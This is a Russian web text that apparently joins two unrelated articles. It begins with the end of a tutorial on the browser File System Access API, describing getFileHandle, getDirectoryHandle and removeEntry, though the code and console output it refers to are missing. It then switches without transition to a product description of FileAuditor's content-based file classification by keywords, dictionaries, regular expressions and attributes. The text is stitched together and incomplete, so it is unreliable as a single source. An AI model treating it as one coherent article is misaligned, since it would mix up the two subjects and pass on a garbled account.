Нажимаем на кнопку Directory picker . Выбираем директорию fsa-test . Получаем уведомление о том, что наш сайт сможет просматривать файлы в выбранной директории. Нажимаем Просмотреть файлы . Получаем в консоли:
Для получения FileSystemFileHandle и FileSystemDirectoryHandle , находящихся внутри выбранной директории предназначены методы getFileHandle и getDirectoryHandle , соответственно. Обязательным параметром, принимаемым этими методами, является name — название файла/директории.
Прочитаем содержимое файла test.txt и директории text .
Нажимаем на кнопку Directory picker . Выбираем директорию fsa-test . Нажимаем Просмотреть файлы . Получаем в консоли:
getFileHandle и getDirectoryHandle также принимают настройку create?: boolean — если имеет значение true , запрашиваемый файл/директория создается при отсутствии:
Удаление файла/директории
Для удаления файла или директории предназначен метод FileSystemDirectoryHandle.removeEntry . Он принимает 2 параметра:
- name: string — название удаляемого файла/директории;
- options? — объект с настройками:
- recursive: boolean — если имеет значение true , удаляется сама директория и все ее содержимое (данная настройка позволяет удалять непустые директории).
Удалим файл test.txt и директорию text :
Нажимаем на кнопку Directory picker . Выбираем директорию fsa-test . Получаем сразу 2 уведомления от браузера. Предоставляем ему необходимые разрешения. Видим, что файл test.txt и директория text благополучно удаляются.
Как видите, FSA предоставляет в наше распоряжение довольно интересные возможности по работе с файлами и директориями, находящимися в локальной системе пользователя. Фактически он представляет собой урезанную версию модуля fs для браузера.
Полагаю, с ростом поддержки FSA найдет широкое применение в веб-разработке и станет прекрасным дополнением набора инструментов, включающих File API , input type="file" и Drag and drop API .
Пожалуй, это все, чем я хотел поделиться с вами в этой статье.
Обратите внимание: мы рассмотрели далеко не все возможности, предоставляемые FSA , поэтому рекомендую полистать спецификацию.
Классификация данных
В отличие от традиционных средств контроля файловых систем, FileAuditor классифицирует файлы не только по названию или расположению, но и по содержимому файлов: делит их на категории и выделяет среди них конфиденциальные. Это делается по предварительно заданным правилам классификации: какими признаками должен обладать файл, чтобы попадать в ту или иную категорию.
Искать эти признаки программа может:
- По ключевым словам, фразам и последовательности символов (иноязычные вставки, @, №, $, % и т.д.). Поддерживается поиск ключевых слов с морфологией, т.е. в измененных формах. Можно уточнить поиск, указав, сколько раз в документе должны встречаться искомые слова и фразы. Если искать сразу несколько ключевых слов, можно задать, какое расстояние в документе между ними допустимо, чтобы считать сочетание значимым.
- По словарям. В программе есть встроенный редактор, который автоматически преобразует в готовый словарь любой текст-образец, загружаемый пользователем. Этот вид поиска полезен для выделения тематических категорий документов: например, считать файл попадающим в категорию «финансовые документы», если в нем встретилось не менее 5 выражений из словаря бухгалтерской терминологии.
- По регулярным выражениям. Можно создавать сложные регулярные выражения, когда в одном поиске скомбинированы несколько условий. Например, учитывать в правиле классификации только файлы, где одновременно встречаются не менее 5 комбинаций из номеров карты и трехзначных CVC/CVV-кодов. Кроме того, можно сразу убедиться, что запрос работает корректно: доступно поле проверки, где можно задать пример искомой комбинации символов и протестировать, распознает ли его система.
- По атрибутам. Критерий позволяет относить к правилу классификации только файлы определенного типа, размера, созданные или измененные в заданном интервале, хранящиеся в определенной директории и т.д.
Рис. 3. В программе реализован удобный редактор для создания регулярных выражений с виртуальной клавиатурой из готовых элементов формулы поиска, все они сопровождаются подробными комментариями
Вся значимая информация в пределах компании будет рассортирована по категориям – «Офисные файлы», «Контракты», «Прайсы», «Персональные данные» и т.д. Система обнаружит все файлы, относящиеся к ним, где бы они ни находились, и поставит на них соответствующие «метки».
Рис. 4. Цветная маркировка правил и подсветка ключевых фрагментов документа в FileAuditor
Читайте также: